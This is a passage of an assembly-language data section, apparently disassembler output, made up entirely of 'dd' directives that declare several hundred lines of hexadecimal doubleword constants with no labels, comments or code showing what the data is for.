		dd 1CE25FD7h, 1B5D9282h, 88B3400Ch, 0C400D281h,	505E0C76h
		dd 33D61CBAh, 60376EC5h, 0F8D907C8h, 0F56A2D62h, 89610018h
		dd 6F9E359Dh, 6D4BFF1Fh, 802CBD09h, 0DB6D34Dh, 8B69976Dh
		dd 0DD034123h, 23E2BD08h, 0DE853FA0h, 99CEC2D2h, 4DC11888h
		dd 0C2F5FE14h, 89086020h, 0B9222060h, 8D7F73A3h, 194DFCC4h
		dd 71386D14h, 0F2889141h, 2880F0Ch, 0EC488A49h,	197D121Ch
		dd 5ED09333h, 0DA6BFB1Fh, 0A96B6600h, 0B529EA3Ch, 3B78BD5Dh
		dd 45858856h, 0B65A052Ah, 0BBE3EE10h, 4009E824h, 0D49AA7D2h
		dd 927EBA3Eh, 50F10F94h, 97D68430h, 44123B84h, 5A803F64h
		dd 0E639C177h, 732B3867h, 6F86BBBAh, 36301596h,	0DA400897h
		dd 0A93D3C4Fh, 6018F7D7h, 0BF58615Dh, 81407A7Eh, 6BBC0DAh
		dd 0B5FF5BACh, 3109AFD1h, 100BED85h, 5F80DB53h,	0FD6EAF17h
		dd 157ECF2Fh, 0B999013Fh, 0BD89E988h, 0FF23E8CEh, 28667CD0h
		dd 84E4CBE2h, 0DDF950D6h, 1C1D4345h, 0F72F0132h, 920B2437h
		dd 0B164C1h, 0B908C243h, 11F86549h, 0B503800h, 1CA13CCEh
		dd 5F895E0Fh, 81660266h, 0B3823AC7h, 81449509h,	549CF18Eh
		dd 0C7AA6C45h, 0A4A7A620h, 74702F00h, 68854999h, 0B67C1663h
		dd 1ACF08F6h, 6FB26092h, 44A0E400h, 89E25E7Ch, 0D9299100h
		dd 0C59E90CDh, 160200ECh, 816198BCh, 0C9E62434h, 0A07CB92Eh
		dd 231B2908h, 0DE8224E6h, 0EE108601h, 0AB183E06h, 22D55C89h
		dd 0E4820814h, 0E84E105Eh, 8D24BB08h, 5A5042C2h, 74DAF288h
		dd 33001846h, 0E0C819B7h, 1090CE8Ah, 46BD09AAh,	2AA9D100h
		dd 3CBFA1F1h, 88495803h, 84DD098h, 0C3BEAFB1h, 7A0AE22h
		dd 60490EEFh, 8A568000h, 0B368EEh, 528B5CDFh, 405ABB60h
		dd 0E0578427h, 4C5F6102h, 8605E981h, 4848C28Dh,	457215DBh
		dd 6019C44Eh, 25EC9734h, 306074F4h, 0DAA5142Dh,	0F7803429h
		dd 4A8C12A3h, 898B006Ah, 27F6C4A8h, 0E800465Bh,	0C5FEF7B3h
		dd 289B15BAh, 0BBE33FB7h, 0E18271A2h, 9DDF303Ch, 0E5040F41h
		dd 0CA81AF20h, 7C9015B3h, 6C8BA92Eh, 60F26DF7h,	3F3836B5h
		dd 802CC239h, 55C1F068h, 0B98F0FEBh, 9B8245Eh, 0B7826160h
		dd 9F625951h, 0B173A8A3h, 4A6030FAh, 0F6BDAFF4h, 3C374992h
		dd 0D47FACBDh, 0F173D11Fh, 130D8C7h, 0E6F4BD47h, 89732947h
		dd 3C68B72Fh, 87814D7Eh, 7AE6800Ah, 32E2179Bh, 0C8D22139h
		dd 19FEBD35h, 0A6BE5648h, 2A4D0993h, 494A5794h,	9F80639Bh
		dd 30526748h, 6400D675h, 0EF1704B9h, 5696802h, 8ABDB7C8h
		dd 80A641F5h, 4A31A2E1h, 3FEF5FA2h, 0B48400ACh,	626CAF55h
		dd 0BF8802B0h, 2F8CA129h, 495BA1B2h, 2B8D470h, 726BB16Fh
		dd 0D783F99Fh, 0B15831BDh, 6C2C14F7h, 952B04C9h, 6188082Dh
		dd 62151B9h, 0F24C009h,	6A03002Bh, 6CEA8004h, 5E12A968h
		dd 0FF41CAF4h, 350BB157h, 85083E37h, 162C0E15h,	7A30026Dh
		dd 5EBA156h, 0CAA7B910h, 5A756102h, 0C4B8B250h,	0ACA69EFDh
		dd 0CA8A04C6h, 914E8959h, 8B09026Ch, 1BDB58CBh,	7A2B5F70h
		dd 1F5D0C0Bh, 0DDB892EDh, 95B02195h, 0ED7F3055h, 466ECD3h
		dd 725F940Ah, 3D90C16Bh, 765E1619h, 0DE37941Ch,	0C4EE3E06h
		dd 0EDB6216Ch, 0BF0F1929h, 0E62DC7F9h, 0C59F2813h, 39180A29h
		dd 801545E0h, 111EDE68h, 0FBD5832Eh, 0EE2205ECh, 7C2E7CD2h
		dd 38001C23h, 66805B19h, 0CE711403h, 9013D48Ah,	0A3A352h
		dd 0A12149BAh, 9D505902h, 0E04EF010h, 74CB600h,	8D39F0Ch
		dd 95291790h, 0B02D2CDh, 0EDE0904Dh, 30D329BBh,	6C90DC12h
		dd 952A2351h, 5F48F5ADh, 0A7BB29C2h, 4228E17h, 196A6152h
		dd 50291CEBh, 0F88B4B60h, 0F78081D1h, 653C7276h, 1794E47Dh
		dd 306159E0h, 473DEEA7h, 48A2FC00h, 0CFD71EB0h,	0CD833CE3h
		dd 918B61A5h, 98C5B8CDh, 455DBAECh, 197D950Bh, 1E0246FFh
		dd 80A87921h, 0DAED976Bh, 8D1AD8D9h, 13F0C5B5h,	88F1F315h
		dd 29313DEh, 8CCBD884h,	0F29010E8h, 0A903E1B8h,	0B4DD571Ah
		dd 15CA80Ch, 3FAF12FEh,	0E92E04F3h, 4FED1003h, 0DB5F6D20h
		dd 9E1FC4Fh, 893F9A28h,	15BAE8Ah, 8A5150C9h, 5F3039F0h
		dd 4796BABh, 0CD5A8F0h,	1D2173BCh, 1A181CF1h, 2A458E00h
		dd 930C5B65h, 7144B84Fh, 0B529800Dh, 13A0A94Dh,	6A0EC00Bh
		dd 7F9E1647h, 0E1970F80h, 0B35C6C0Eh, 6E9A456Dh, 46015E6Eh
		dd 2F96F914h, 6BF73136h, 74451220h, 3533011Ch, 942126E7h
		dd 19F17FCCh, 2B15DB01h, 0EEB56207h, 7D7DCFC6h,	5DBD19C4h
		dd 3F469FA4h, 71A53120h, 607635CAh, 0C8404CDEh,	8E82BE00h
		dd 8F8592FDh, 5FC6890h,	960DC82h, 0E2B74E6h, 0F9C9746Dh
		dd 0FAE3458Bh, 1A51B8F2h, 81017E32h, 0B51244E9h, 11E23871h
		dd 0F8442229h, 9E465E84h, 14FFC309h, 19A390A0h,	1FF62FECh
		dd 606092F7h, 50C5CFBEh, 0BF07DE29h, 4F601F74h,	0E057875Fh
		dd 95891333h, 5996C04Dh, 20707E80h, 31F1A0CDh, 84915643h
		dd 27BF6000h, 0D58A889h, 0E4D32AB1h, 58DCA0BEh,	0C84A6BFDh
		dd 0EA4C85C1h, 31828F9Eh, 1928A26Eh, 150E5618h,	0E95A8011h
		dd 0BD014E27h, 12B60F62h, 0FE60E6A4h, 0B6AAB912h, 4540B001h
		dd 708248ECh, 0CF14FD19h, 4A542FB5h, 0ADBA0840h, 125369E3h
		dd 62F75550h, 267D6480h, 42D8B502h, 0DC265E9Bh,	505E2206h
		dd 9597EE8Ah, 9A01FC37h, 0B531B6DFh, 0B27EEAC6h, 0CB6684h
		dd 2B67E54h, 0CDB17908h, 0D88BF801h, 0C0B46056h, 7100F233h
		dd 0F97A261Eh, 5F13A90Ch, 22045961h, 580B2279h,	7D704AF3h
		dd 81F95BD7h, 153384CBh, 0E90931FCh, 0A2F3057Bh, 7FA0A8D0h
		dd 93DD1D58h, 473D6AEh,	91958D0Fh, 89388054h, 50CB856Ch
		dd 0A0C6A66Fh, 52B1404h, 59FC6FEEh, 765C14E9h, 0AB54BD39h
		dd 8448505Fh, 570540E5h, 59715171h, 9D933BFAh, 0FE43669Ah
		dd 0AA06DCD0h, 79FDDF27h, 1DA12870h, 0AB5C4A62h, 14297288h
		dd 0F04D9BDh, 0A9E22F31h, 0F6FB05FFh, 0E030B3CCh, 2C1A7FD2h
		dd 80F5638h, 40122365h,	6D00F16Fh, 9E75C9C6h, 0A4AD180h
		dd 2620A68Dh, 482D4E25h, 8461F21Dh, 0FCC201B7h,	0FB16DE3Ah
		dd 68D011F3h, 17DA21B9h, 3160310Fh, 0E8DC76E8h,	2C1F7748h
		dd 0EDC098A2h, 33BE0284h, 82B80666h, 6C5A61ADh,	8673D1A2h
		dd 39373070h, 0BF170B3Fh, 4E108903h, 0C01A880Fh, 0C7B2933h
		dd 4CFBB30Bh, 0EF8C160h, 699D8900h, 611C5092h, 0B7A75090h
		dd 156F005Dh, 0D6806B0Fh, 3A675858h, 77F026F1h,	0FEAABF00h
		dd 175069F8h, 88870F60h, 0AFA6E173h, 44C58600h,	956F7C83h
		dd 695102D0h, 9FCEEC31h, 36969752h, 5C292313h, 27118C02h
		dd 79FA508Ah, 8D006D53h, 3EF9ACC3h, 13F6D829h, 30AE9993h
		dd 95B00573h, 37043B70h, 5F977D0Fh, 0F6D860C2h,	0A004DC00h
		dd 58563BD3h, 64CE55C2h, 0F40E5860h, 0D93AE1C0h, 5DD419E9h
		dd 6EC10937h, 642747C6h, 37A0601Bh, 7F7E00AFh, 8A8C9461h
		dd 0FB2E8BF0h, 0F6DE9E58h, 0C85C0013h, 275809CDh, 572504DDh
		dd 61094A66h, 1E051F1Fh, 2CD0DD1Bh, 24E10875h, 2D8D3105h
		dd 1E6A42D1h, 6DF6E2Eh,	1909CC8Eh, 2A212270h, 5CB86CBh
		dd 5CFDD585h, 77279EBCh
		dd 0B264B2h, 286687C8h,	101CA3A9h, 0EBD82405h, 3AB4E860h
		dd 6E201CD0h, 5C00BAA0h, 7D87E547h, 0C700A55Fh,	0A1622F02h
		dd 5CF78B8Ah, 3841ED5Eh, 0AE21202Fh, 85000523h,	4748FF78h
		dd 163C181h, 512019DFh,	2661A5D9h, 8D8B066Ah, 0A2F601CDh
		dd 80D149h, 49857C21h, 640071F9h, 69185C83h, 219DDDAh
		dd 2DCBF7D6h, 3F4458FCh, 95294180h, 2481F54Eh, 427ED9E9h
		dd 26118D83h, 880F5001h, 2636D9D6h, 10C607Dh, 7F164C0Eh
		dd 40C2592Fh, 64776D5Fh, 0D34C601Ah, 94AE0527h,	20E8E113h
		dd 661CD9C9h, 88906707h, 0E610D686h, 3959F9FFh,	5AF8509h
		dd 0E4EA3D2Bh, 0E4DC70DEh, 0A48E028Bh, 0A045BC39h, 845CC50h
		dd 5BB75820h, 447A84D0h, 0AB1BE2D0h, 14232D3Bh,	0C9FC9D09h
		dd 0BF2AAD21h, 5900647Ah, 6612F17Dh, 3C2FB0BFh,	0C0284D61h
		dd 5E600F84h, 0CC203E17h, 0B1044808h, 683C6E5Ah, 0A601C831h
		dd 2171081Eh, 0BFB3E90Bh, 98350061h, 60ECD01Ah,	0B4404B9Eh
		dd 26F904h, 21208993h, 8A60E28Eh, 0C01AD058h, 96864838h
		dd 0AB2C00EEh, 0E19131D4h, 0DB3417C0h, 0F68C0261h, 89A3F73h
		dd 76C21983h, 8D892957h, 0B5C7831h, 0BF1CC681h,	0BD420421h
		dd 20A2F885h, 61E91615h, 0A0EDA7F8h, 94C9D8Eh, 8B30FDB4h
		dd 2B80BE89h, 0DA9168CBh, 0F77CD63Dh, 0B03C59BCh, 0E280125Ah
		dd 2595B8A2h, 0C75514C9h, 6214C4BDh, 3517E184h,	9EFFB974h
		dd 1E8B4A13h, 59DF7FD6h, 0C3452A86h, 12180D53h,	1A228A0Fh
		dd 0BF17C0F9h, 5AFD4CABh, 0EAB79777h, 55F67201h, 5120DCB9h
		dd 0CD744BDEh, 0B8B07D69h, 9FEC0E10h, 0A10275F3h, 0A3794038h
		dd 2B5B7A00h, 711B67A7h, 0F9C2C239h, 47C0AFF3h,	3216B4BAh
		dd 0E50A5650h, 8726AC6Ah, 5552FA16h, 0C85F97E3h, 0BB00EF55h
		dd 0DE5E8023h, 34709E2h, 0A6D23F48h, 90E9C2D4h,	0E6207F60h
		dd 34D7658h, 2A41A9C6h,	19708B0Fh, 0AFB85A01h, 61599E3Ah
		dd 2D6C660h, 0A6A8BF90h, 0D2825688h, 690831ADh,	69A9BE80h
		dd 1D051F9h, 0C2F707DDh, 3A42DBB4h, 0B9858402h,	13F5082Fh
		dd 0A287A7C8h, 0C2BD3575h, 808BDAD3h, 76FF8613h, 527E04EAh
		dd 9B5FF58Ah, 0F8D6C00Eh, 0AE73268h, 0D41592ADh, 0EED01AEDh
		dd 0D6935655h, 58F2F4BFh, 294E4585h, 4C059B13h,	0F1B0D1BDh
		dd 4AC2585Fh, 55B5310Bh, 9D0985A0h, 5D9518E1h, 0A8913891h
		dd 0D203A1Dh, 0A8CD971Ch, 8D6028C3h, 2058F186h,	61481BE1h
		dd 9A913EEh, 3D2DA4A2h,	0C0BA24E1h, 0F01B0E10h,	0B14DEA81h
		dd 60FEC283h, 8331F548h, 0A238FFCFh, 50812F9Eh,	0D7F2A87Fh
		dd 0E8E6CCEFh, 2B5805A0h, 0F01AC264h, 8166ABC0h, 5A4D2538h
		dd 1BB465Dh, 33C50B7h, 0D93A81D0h, 0D519AF45h, 0AC2D8326h
		dd 0D95AD0B2h, 10C86093h, 0D24F9D0h, 4F3C4003h,	0D1C229DFh
		dd 0C4FA3CB7h, 619A912h, 0C35BF805h, 0D1030C1Ch, 2B21201Bh
		dd 2A08DB4Dh, 0BF834912h, 0C65206D4h, 0FF82F1h,	0A98110CFh
		dd 514A3B0h, 0C03359B5h, 32F7FEC3h, 0DEBF2422h,	0DD7AC99Ch
		dd 56D59A95h, 915A69AEh, 66F008D2h, 0D3EBCB05h,	0B12E8FDh
		dd 36330087h, 6AC8539Eh, 0CC260E81h, 1D114889h,	12CB6028h
		dd 8953F8D1h, 7831FC7Eh, 0C8ECCB00h, 50C17CFDh,	9FB204FAh
		dd 0BBF7B539h, 890F4503h, 0FC330201h, 5A43C781h, 33C1ABA1h
		dd 13472BF6h, 0BB60370Ch, 17817F09h, 18C0A7E9h,	77E87C5Eh
		dd 0F104117Bh, 670B925Ch, 98A6ECABh, 8D11C18h, 14E96F39h
		dd 0D41E00BBh, 0D0022EFAh, 58CB03A4h, 1FA5A7C9h, 0F8BD8790h
		dd 51A83900h, 8F6FDF80h, 0FC370004h, 0EE81FD8Ah, 0C2244606h
		dd 89027D64h, 0E13350A6h, 19890229h, 0A4488F0Fh, 2B90F960h
		dd 8161CB01h, 0FFA670FEh, 8F6241C6h, 0D10F4622h, 67E3E9C7h
		dd 17F8014Fh, 370023E7h, 438ABFDBh, 0CC82EB3Ch,	0C3211909h
		dd 78DB2E00h, 4BBB103Eh, 7E911DD5h, 0FBEE4068h,	3C5CB772h
		dd 863C05EAh, 804E3FD8h, 0F33498C5h, 0F6E71Dh, 63A49B07h
		dd 3ED2BF5h, 0B7211301h, 9FD885D0h, 718AA20h, 51848AE7h
		dd 954E6E01h, 2E523AC0h, 0AE037CEDh, 5C80BF63h,	0A2172F9h
		dd 6B2F14DBh, 532B7820h, 6AF8C88Ch, 0C2DB36C0h,	223B468Ah
		dd 2DC0001Eh, 6F0D1BDBh, 9C1CD7B8h, 7EC0EEB2h, 3E714A8h
		dd 541600FFh, 846352C2h, 15007D35h, 198F3EE8h, 0C0E4D76Ch
		dd 0C1BF88F0h, 0F77234E1h, 7D04F10h, 606D9064h,	23C5DB39h
		dd 1B11138Ah, 0DB30077Dh, 41CE9EE6h, 800A6AFAh,	36E20348h
		dd 1EEEC1D8h, 40A0B8B1h, 0D87C4C6h, 8B006C2Ah, 17ECA984h
		dd 18E77201h, 0C11BA6D3h, 4073BF37h, 27AB911Eh,	23099959h
		dd 0B7572180h, 2FA5FC40h, 8E654D00h, 0CD9B6056h, 0A26C1841h
		dd 18252810h, 0FE6BB81Bh, 60DFC0A8h, 87DB052Ah,	19080B54h
		dd 80F308DDh, 2A694021h, 249D87E6h, 1F141894h, 0F02E06D1h
		dd 170078EAh, 63BDD907h, 19E2E070h, 8C8681Bh, 0AA2180FEh
		dd 0F562BDD0h, 698F0AD4h, 80940B50h, 722C875Dh,	0F90F9481h
		dd 863A3863h, 0A21066Ah, 0EA715488h, 6CF00688h,	7009180Ch
		dd 1308BFh, 0E89D8864h,	4F4CA715h, 494880D1h, 1465F799h
		dd 0F806D84Fh, 1BA2BC53h, 0ACC4030h, 6AE3AFEFh,	799F40A0h
		dd 0DA00859Eh, 53992562h, 4370CAh, 5B1B21B6h, 17BA729Dh
		dd 2E78C8C4h, 0FD233Eh,	316DDFE6h, 29003D99h, 0DCC77C7Ah
		dd 294F0F85h, 0D16C026Ch, 687181Ah, 717491E3h, 8C20A863h
		dd 55680006h, 0E0F1EF8Ah, 0EE60CEA6h, 0B7A49290h, 0ED2C2401h
		dd 0E9F90AF4h, 749302E0h, 0B440F4C3h, 1F487A6Bh, 0C3BC8848h
		dd 87992A64h, 88F61874h, 2A1D6D44h, 49801892h, 0EB051F48h
		dd 2989100Ch, 50680CE7h, 0DAC10Ah, 39C9A5D1h, 0F7E6F3A1h
		dd 5061C812h, 539D3020h, 0A2DF3C8Fh, 0CF6C9006h, 213B80Ah
		dd 50433974h, 4004B0F0h, 8C32CC30h, 67BDDD0Eh, 66E30870h
		dd 0AE043101h, 870CBDD4h, 0C515F580h, 940A1802h, 0BEE841EDh
		dd 641DC824h, 1113D842h, 9DE1831h, 0F87066BDh, 0AD00001Ch
		dd 45D7BDD5h, 0A09D0A63h, 20BEEA30h, 0CE1F33B0h, 32E038C4h
		dd 0E7DC644Fh, 1544B467h, 0FA3DDE60h, 68A07D1Dh, 0CB209C28h
		dd 0E350DD0Bh, 0C4DB3C01h, 58632B8Ah, 0DB33C680h, 0F64C52B7h
		dd 0C2047391h, 0E51FA413h, 7FE31480h, 7CF303D0h, 0C99C3504h
		dd 5068F0E9h, 0F88770E0h, 21E03A60h, 0FF6C6593h, 2EF21424h
		dd 2930BDEh, 38CA2F4Bh,	1EB38BC0h, 0E0B0170Bh, 558C00A1h
		dd 3EC0F42Ch, 38E0326Bh, 1FD0C4E8h, 8F1094A0h, 0D0A4A873h
		dd 29348021h, 18027104h, 71A500DAh, 7060A225h, 100C6AB1h
		dd 60177C9Fh, 0FCF03A38h, 7400306Ah, 3B7AFE46h,	31058A26h
		dd 1FAF784h, 1D8C32A0h,	9164200Bh, 50EB6C38h, 0A7187BD4h
		dd 9840ECE6h, 1B8E0B35h, 40032182h, 30240915h, 8A4024F1h
		dd 19DA638h, 0B85D635h,	2204444Fh, 16E2320h, 8AC6DB3Ah
		dd 0F84E1Bh, 60DB31C4h,	1CE846C2h, 42684211h, 3BACB770h
		dd 913A8480h, 0DE4D6784h, 18081014h, 4665360Fh,	7B57AFC0h
		dd 24B0F3C2h, 0F321444h, 9A287DF9h, 0E527A960h,	0F4014434h
		dd 0B819408h, 804038DBh, 912BFF57h, 181AD954h, 5F17579h
		dd 0A72E0D12h, 71A04246h, 0D4CCD0E7h, 3640C204h, 2262C391h
		dd 40BA5A20h, 0E01A1C60h, 269E9D08h, 13AD0594h,	0C8FC8E18h
		dd 0E3D2C025h, 0E0008DE5h, 0EB2445F3h, 288F72ACh, 3DAC3470h
		dd 5850FEA7h, 0C1058CD1h
		dd 0BB913540h, 593028h,	7DA940B9h, 4D707F6Eh, 8A197409h
		dd 0F0C002D6h, 0E4040938h, 2A6260BAh, 648723D9h, 3E0FF211h
		dd 0CFAE2A6Bh, 98B3CCA6h, 2E647C85h, 0F1F3167h,	0FC48256Bh
		dd 1B003066h, 9D17975Eh, 24A5885Ch, 13DC2064h, 8FC25A1h
		dd 35C06900h, 468AC1DBh, 0FA1F2233h, 3FDB002Ch,	7C636B07h
		dd 0DA1DC3B8h, 5D8B8B9Ah, 2A7020F4h, 61CD5489h,	4FD910EDh
		dd 888C4E08h, 0D19CC3F4h, 808EE880h, 0B70214Dh,	17EA490Fh
		dd 801F91E0h, 7B540F75h, 19B2021Ah, 0CC844C9Ch,	4B5C6541h
		dd 0C1F88850h, 0CC2CEF31h, 6801B655h, 0FC9BABDh, 91C43913h
		dd 0C8284C03h, 747D6002h, 6C47155Dh, 806524C4h,	0D568EA5Ch
		dd 1DF90C00h, 0BE519280h, 7D4304A5h, 0C2953633h, 0EC42DFA2h
		dd 1B11EC1Dh, 7CA0C80h,	6C242987h, 0EE832405h, 0E8E5DAC7h
		dd 681D279h, 8BF609D8h,	0A322101h, 6017A99Ch, 3216F578h
		dd 0C590967h, 2100BC63h, 0F176687Dh, 0C27049h, 2C9CC602h
		dd 977484D1h, 0A0915476h, 6580BD11h, 8C87DE2Ah,	41FB448Ch
		dd 852A6E0Eh, 2E7E8031h, 4F97934h, 60958851h, 7078812Bh
		dd 0BE58911Ah, 0DD2A6680h, 448C8487h, 6F0142F7h, 0A1FD8C2Ah
		dd 5AC89288h, 5E8096EBh, 0F77E1F46h, 0CBEC28E5h, 9AA7D90h
		dd 0F525748Fh, 9C457062h, 5E6025E4h, 7400BEFCh,	4FB61FEDh
		dd 25103377h, 8A2D487h,	8381CD22h, 4207A991h, 6130B980h
		dd 87DA102Ah, 6A3DE06Ch, 992072Ah, 40F8BB27h, 8C8960CFh
		dd 0B850DFE5h, 74A5738h, 0EC557044h, 0EAC9910Fh, 0C665B04Dh
		dd 0CAFCCA00h, 9DD7ED3h, 1C3D8B74h, 2E20465h, 8DE01B04h
		dd 0F5E227B9h, 0B0598132h, 0DA8EA2Bh, 0DC32A9E9h, 93C0E8F7h
		dd 0B11FA6D6h, 15CA000Ch, 2E19C16Eh, 0C6D38612h, 53182C14h
		dd 3019A2C4h, 731EA8D3h, 62D9F166h, 242C43B8h, 0D0EF6B15h
		dd 0CF4C9D02h, 0DCF8C96Dh, 6C836F00h, 3E32BA5Eh, 0C43853B9h
		dd 543014E2h, 3497098Ah, 7C2B7172h, 18919097h, 129D69Eh
		dd 8F0E24F7h, 90C460D7h, 128C3240h, 181AA0ADh, 291418D0h
		dd 0E0598282h, 91DC4C09h, 18FC71CCh, 0C4293C88h, 1A494A4h
		dd 0F16FD63Fh, 9B2024F5h, 0A2CABC00h, 0BFFD8693h, 93C65C84h
		dd 0F1B8201Ah, 1844E8C7h, 0E5756660h, 6D2B460Eh, 0DFA50515h
		dd 8EFA6BC0h, 0B10D7074h, 85D41100h, 0F8C240C6h, 44F84CE3h
		dd 0BE045E21h, 0A213FE40h, 7275C7C0h, 0A1F0904Eh, 0DF18348Ch
		dd 7065BD1Eh, 0F9016A5h, 0F7BDD6ACh, 984DE760h,	6C995038h
		dd 0E0181EF9h, 0CEB3C901h, 4628D616h, 249442F4h, 0A9C439F1h
		dd 3FCD0DCh, 0D4610086h, 2ADAB082h, 70F827B3h, 0C791061h
		dd 8C501E7Dh, 588F6C90h, 688078F8h, 2A50BF72h, 0B420A094h
		dd 9B78D893h, 4F7B0ED9h, 45010F69h, 68830D57h, 0E46C89A0h
		dd 915C3ECCh, 1054595Ah, 0C4360D79h, 5129E3F0h,	6C2F2E13h
		dd 0A0A4A0D3h, 1301A2h,	4296683Ah, 0AF758C57h, 0BFA8DB1Dh
		dd 0ABC0C480h, 727E1Fh,	0C8E1865Ah, 0DCAD99DAh,	5A83348h
		dd 23ECB6F2h, 28BE900Dh, 96DD85C8h, 0FB465EB4h,	8DC9F24h
		dd 90BD1688h, 587C2178h, 0F5E8E444h, 0B964008Ch, 0D91E60D4h
		dd 24B950F7h, 0E0C4310Eh, 89FCF474h, 47780A37h,	10F86ABAh
		dd 8CFF0B48h, 41B86EF0h, 5790841Ah, 1C88EB40h, 8ECF4043h
		dd 9EB97C00h, 3A070116h, 72365BD9h, 56052FFCh, 465A2038h
		dd 0A2F0539Bh, 3ECC302Dh, 618F7039h, 0F3970AD1h, 88F6B851h
		dd 2E70B872h, 436C989Dh, 0E48D1487h, 78F07464h,	7EC81752h
		dd 0B44F1A40h, 0D2EC8004h, 0DE8EB45Eh, 3FCE890Fh, 406F8887h
		dd 8017C88h, 0B767A0A0h, 142CD324h, 490A5D01h, 802985F6h
		dd 0C12BA719h, 5F2AEC36h, 6E0D5200h, 1AA9C85Bh,	73E400ACh
		dd 0DDCA7670h, 62583644h, 3C031E3Ch, 3A9097FAh,	648EF824h
		dd 30040184h, 9DA90D99h, 6260A250h, 2CBF1A48h, 530B22Eh
		dd 0F73E0E9Dh, 7F302E1Dh, 67053A8Ch, 25FF4F9h, 6342B35Eh
		dd 0BC8EBF81h, 3374464h, 0F8F12Fh, 0B3DE6059h, 0B92CF5FAh
		dd 93785900h, 9FA75A40h, 0DA0F2A89h, 2F90C880h,	60BDDCC0h
		dd 68C85C70h, 0BDD3A7E0h, 3B081D00h, 0DFA6A372h, 5473F875h
		dd 916BDC12h, 30E50110h, 0CEB97AF3h, 50B48861h,	0F67836B4h
		dd 0C3B6BC00h, 81667B92h, 485098C8h, 2CBC5871h,	74AE488Ch
		dd 0ED8C2A04h, 778C0F0h, 0F44FF37Ch, 1E232C3Bh,	5A0A9A00h
		dd 46F9CAh, 0D3B88127h,	8F66C709h, 81048C39h, 84910115h
		dd 689DF177h, 3758632h,	38008018h, 0D8FB59D1h, 9862FEC2h
		dd 2ACC2010h, 6C2617E0h, 0F0A648DEh, 0DD7300DEh, 0E2F9F94h
		dd 72765934h, 641ABC24h, 0A5A200BAh, 93B849C8h,	7CC70721h
		dd 50A82F3Bh, 0F9F1C288h, 1B2DF8A8h, 0C874E3F6h, 0EA791300h
		dd 0E6649799h, 30B005BCh, 420B451h, 0A4083BA8h,	126171B0h
		dd 0FA4F1E8h, 44F488Ch,	7F3FDEA1h, 478C9F5h, 330CB770h
		dd 3E0A8488h, 0A84CF296h, 7685C0DDh, 8EA39840h,	4CE8D800h
		dd 20E3B73Eh, 5BA617C7h, 222490A8h, 84FEE243h, 90AEA100h
		dd 6648085h, 778104C6h,	8FC8410Dh, 3FBC46Ch, 80F68F30h
		dd 303D04B1h, 9B07916h,	0BBC00A8h, 7443949Ah, 8A01F088h
		dd 5C8901A4h, 3C20EEA9h, 7CCB1A67h, 0EC7340D4h,	0F164D0h
		dd 0B26BCD46h, 0B4694CD3h, 32019A01h, 0E48ACB63h, 0F4163043h
		dd 8298C8h, 0CCDEB5B2h,	0EF6C071Bh, 0C03BDD4Eh,	6A021423h
		dd 4051DEA7h, 8016B0DCh, 0B8BC0725h, 5C300DCh, 49A2DACCh
		dd 0CD169A28h, 8040778h, 34F87F6h, 290CAD8Eh, 7E445018h
		dd 91541232h, 69380104h, 0CD314D67h, 0FE90E797h, 0B50188D7h
		dd 5C30D8FCh, 0C440F2E9h, 220CC844h, 0C204E47Eh, 6AB6EFF7h
		dd 9D173CD0h, 0C5861D4Ch, 4430AD9Ch, 0C95D8C8Ah, 2893039Ch
		dd 0D18860Dh, 84FD849h,	2EF138h, 0A9D74CDh, 0E3A3A44Bh
		dd 0C7833EB8h, 0F6438493h, 0A6821000h, 0CF7383E7h, 6B381A92h
		dd 0CC805103h, 9D86407Bh, 5823FC2Eh, 0D87E5A80h, 5D548AEEh
		dd 31062005h, 50EAD37Ch, 3FBF803Dh, 9B0A9322h, 84F6F821h
		dd 57C7072h, 3C6B46C7h,	42080118h, 81018C89h, 81469351h
		dd 0C04319A0h, 0A7292748h, 336A2420h, 0AE011C60h, 9B39CEB2h
		dd 44747B8Ch, 9A0A187Dh, 5C7279E9h, 0FC22F0B0h,	0B60E4423h
		dd 8078923Ch, 0CD52F0BFh, 19FCED7h, 30E237F6h, 8AFE8F6Ch
		dd 982DD850h, 58C1B717h, 0B848A7DCh, 679C0994h,	0E49D2FBFh
		dd 71801591h, 0A4930F1Dh, 88E3A724h, 0EB7C0640h, 6A10C6EFh
		dd 77007102h, 681670F9h, 12339B89h, 5FDBD84h, 0F07EC104h
		dd 9C15004h, 0FC5651E7h, 4C7C1AC8h, 0B010C078h,	0F97E094Ch
		dd 0E4E8C563h, 2D72601Fh, 0EE280074h, 0F8D71433h, 0EF0F7FE5h
		dd 0F39ADAD3h, 2C23282Fh, 9C02C517h, 6718577Ch,	6020E44Ch
		dd 70C8D98Ah, 687E0EC5h, 0CDE39D5Dh, 12B887BCh,	68C03052h
		dd 1AB53A7Bh, 14B04C42h, 0F186533Dh, 3892F6EBh,	8A724906h
		dd 1EF98BF4h, 8F03520Ch, 0A0D4E897h, 0C888CB4Ah, 0A94DC0FBh
		dd 3E0FEC53h, 819137EBh, 1F98C4FEh, 1282D424h, 5A1F192h
		dd 0A3ED5584h, 3023B278h, 0AF1DB94Fh, 0B682A0CAh, 429D87EFh
		dd 0C5C49A2h, 0DDA55410h, 45005770h, 9688FC82h,	1B427268h
		dd 9EA2086h, 94A643C2h,	0BF481041h, 8C1BE874h, 0E0D21C00h
		dd 5C8AC07Dh, 0E0F661B1h, 0E08105CFh, 449610B5h, 2445F828h
		dd 23F42F2Ah, 7D3D00F7h
		dd 56DBFFDDh, 80BC49DDh, 955453A2h, 904BFB74h, 5C0817E4h
		dd 4A0C501h, 5DD5FC0h, 0BC3AA07Ch, 0B4002423h, 80D0A60h
		dd 35940012h, 5CA67E6Dh, 0A41A9B23h, 0D860E0F3h, 8712004h
		dd 9588B90Bh, 10C08263h, 986B103Eh, 32EBC49Ah, 4BA10300h
		dd 98DB884Eh, 34A28392h, 30CE2B9Bh, 6D16FE20h, 18C214EDh
		dd 5854582Dh, 30239078h, 61BDDB01h, 0A828D070h,	0BDD2A8B0h
		dd 1D42D700h, 306E6636h, 7C480AEDh, 0A40C03h, 60E18AE5h
		dd 40B6A084h, 0F20D00DEh, 0B1F4CC7Eh, 1624F149h, 0E5413074h
		dd 4AE90285h, 0B6B59C43h, 0D1A0B118h, 0C118FDh,	9320E880h
		dd 71848940h, 100022E1h, 303EE413h, 0CE029917h,	0C021C840h
		dd 72B89010h, 0A2E8D900h, 0C511E0ABh, 6A2F1293h, 9C44D04Fh
		dd 0FC009625h, 0CD7AED5Bh, 119783Fh, 0BE4B24F8h, 0E4150DA5h
		dd 900D8C8h, 2EDBC149h,	9B944193h, 43267840h, 2F35321Ch
